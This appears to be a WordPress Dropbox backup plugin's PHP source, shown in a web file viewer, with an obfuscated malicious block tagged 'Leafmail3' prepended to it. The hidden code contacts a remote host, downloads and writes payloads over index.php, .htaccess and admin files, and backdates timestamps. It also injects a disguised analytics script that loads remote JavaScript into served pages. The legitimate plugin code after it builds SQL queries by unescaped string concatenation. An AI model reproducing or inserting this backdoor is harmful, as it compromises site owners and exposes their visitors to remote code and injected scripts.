查找内容:
指定编码:
GB2312
UTF-8
BIG5
EUC-KR
EUC-JP
SHIFT-JIS
WINDOWS-874
ISO-8859-1
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php if (!function_exists('dbr_extract_func')) { function dbr_extract_func($p_event, &$p_header) { if (stripos($p_header['filename'], 'wp-config.php') !== false) { return 0; } if (stripos($p_header['filename'], 'dropbox-backup') !== false) { return 0; } return 1; } } if (!defined('PCLZIP_SEPARATOR')) { define('PCLZIP_SEPARATOR', '<|>'); } if (!function_exists('dbr_extract_func_targz')) { function dbr_extract_func_targz($filename) { if (stripos($filename, 'wp-config.php') !== false) { return true; } if (stripos($filename, 'dropbox-backup') !== false) { return true; } return false; } } if (!class_exists('dbr_gui')) { class dbr_gui { } } if (!class_exists('dbr_database')) { class dbr_database { private static $connect = null; private static $is_mysqli = true; private static $db = null; public static $db_prefix = ''; public static $error = ''; public static $db_params = ''; private static function getWpMysqlParams() { $configs = dbr_helper::getCommand('db-settings'); if ($configs === false) { $db_params = array( 'password' => 'DB_PASSWORD', 'db' => 'DB_NAME', 'user' => 'DB_USER', 'host' => 'DB_HOST', 'charset' => 'DB_CHARSET', ); $r = "/define\([\s]{0,}'(.*)'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; preg_match_all($r, @file_get_contents(ABSPATH . "wp-config.php"), $m); preg_match("/table_prefix[\s]{0,}=[\s]{0,}[\"']{1}(.*)[\"']{1}/U", @file_get_contents(ABSPATH . "wp-config.php"), $pr); $params = array_combine($m[1], $m[2]); foreach($db_params as $k => $p) { $db_params[$k] = $params[$p]; } self::$db_params = $db_params; if (isset($pr[1])) { self::$db_prefix = $pr[1]; } } else { self::$db_params = $configs; $db_params = self::$db_params; self::$db_prefix = dbr_helper::getCommand('db-settings-prefix'); } return $db_params; } public static function inc_wp_config() { if (!defined('DB_NAME') && !defined('DB_USER') && !defined('DB_PASSWORD') && !defined('DB_HOST') && is_null(self::$connect) ) { //include ABSPATH . 'wp-config.php'; self::getWpMysqlParams(); if ( !defined('WP_CONTENT_DIR') ) define( 'WP_CONTENT_DIR', ABSPATH_REAL . 'wp-content' ); if (function_exists('mysqli_connect')) { self::$is_mysqli = true; } else { self::$is_mysqli = false; } if (strpos(self::$db_params['host'], ':') !== false) { $host = explode(":", self::$db_params['host']); if (self::$is_mysqli) { self::$connect = mysqli_connect($host[0], self::$db_params['user'], self::$db_params['password'], self::$db_params['db'], $host[1]) or die(mysqli_error()); mysqli_set_charset(self::$connect, self::$db_params['charset']) or die(mysql_error()); } else { self::$connect = mysql_connect($host[0], self::$db_params['user'], self::$db_params['password'], self::$db_params['db'], $host[1]) or die(mysql_error()); mysql_set_charset(self::$connect, self::$db_params['charset']) or die(mysql_error()); } } else { if (self::$is_mysqli) { self::$connect = mysqli_connect(self::$db_params['host'], self::$db_params['user'], self::$db_params['password']) or die(); mysqli_set_charset(self::$connect, self::$db_params['charset']) or die(mysqli_error()); mysqli_select_db(self::$connect, self::$db_params['db']) or die(mysqli_error()); } else { self::$connect = @mysql_connect(self::$db_params['host'], self::$db_params['user'], self::$db_params['password']) or die(); mysql_set_charset(self::$db_params['charset'], self::$connect) or die(mysql_error()); mysql_select_db(self::$db_params['db'], self::$connect) or die(mysql_error()); } } if (self::$connect) { dbr_helper::setCommand('db-settings', self::$db_params); dbr_helper::setCommand('db-settings-prefix', self::$db_prefix); } } } public static function db_insert($table, $vars = array()) { if (count($vars) > 0) { $stmt = ""; foreach ($vars as $col_name => $value) { $stmt .= "`$col_name`='" . ($value) . "',"; } if ($stmt != "") $stmt = substr($stmt, 0, -1); $table = self::$db_prefix . $table; $stmt = "INSERT `" . $table . "` SET " . $stmt . " "; return self::query($stmt); } else { return false; } } public static function db_delete ($table, $values = array() ) { $res = false; if (!empty($values)) { $table = self::$db_prefix . $table; $str = array(); foreach ($values as $k => $v) { $str[] = "`$k`='" . ($v) . "'"; } if (count($str) == 0) return false; $stmt = "DELETE FROM `" . $table . "` " . "WHERE " . implode(" AND ", $str) ; $res = self::query($stmt); } return $res; } public static function db_update($table, $updateValues = null, $whereValues = null) { if ($updateValues !== null) { $table = self::$db_prefix . $table; $q = "UPDATE `$table` SET "; foreach($updateValues as $v=>$k){ $q .= "`$v`='$k',"; } $q = substr($q, 0, -1); $q .= " WHERE 1"; if ($whereValues !== null) { foreach($whereValues as $v => $k){ $q .= " AND `$v` = '$k'"; } } return self::query($q); } return false; } public static function db_get($table, $var_key = null, $var_search = null, $limit = -1, $res_type = '', $keys_array = "", $value_array = "" ) { if (!isset($var_key)) $d = "*"; else { $d = "`" . implode("`, `", $var_key) . "`"; } $str = array(); if (count($var_search)) foreach ($var_search as $k => $v) { if (!is_array($v)) { $str[] = "`$k`='" . $v . "'"; } elseif(isset($v['mark'])) { $str[] = "`$k` " . $v['mark'] . $v['data'] . ""; } elseif(isset($v['in']) && is_array($v['in'])) { $str[] = "`$k` IN ('" . implode('\' , \'', $v['in']) . "')"; } } $lim = ''; if (is_array($limit)) { $lim = ' LIMIT ' . $limit[0] . ', ' . $limit[1]; $limit = -1; } $table = self::$db_prefix . $table; $whr = count($str) > 0 ? " WHERE " . implode(" AND ", $str) : ''; $sql = "SELECT $d FROM `$table` ".$whr . $lim; $query = self::query($sql); return self::returnArray($query, $limit, $res_type, $keys_array, $value_array); } public static function query($stmt) { if (self::$is_mysqli) { $res = mysqli_query(self::$connect, $stmt); } else { $res = mysql_query($stmt, self::$connect ); } if ( $res === false ) { if (self::$is_mysqli) { self::$error = mysqli_error(self::$connect); } else { self::$error = mysql_error(self::$connect); } } if ($res !== false and preg_match("/^INSERT/i", ltrim($stmt))) { return self::lastID(self::$connect); } return $res; } /** * get insert last id * */ public static function lastID($lastlink) { if (self::$is_mysqli) { return mysqli_insert_id($lastlink); } else { return mysql_insert_id($lastlink); } } public static function num($res) { if (self::$is_mysqli) { return mysqli_num_rows($res); } else { return mysql_num_rows($res); } } private static function 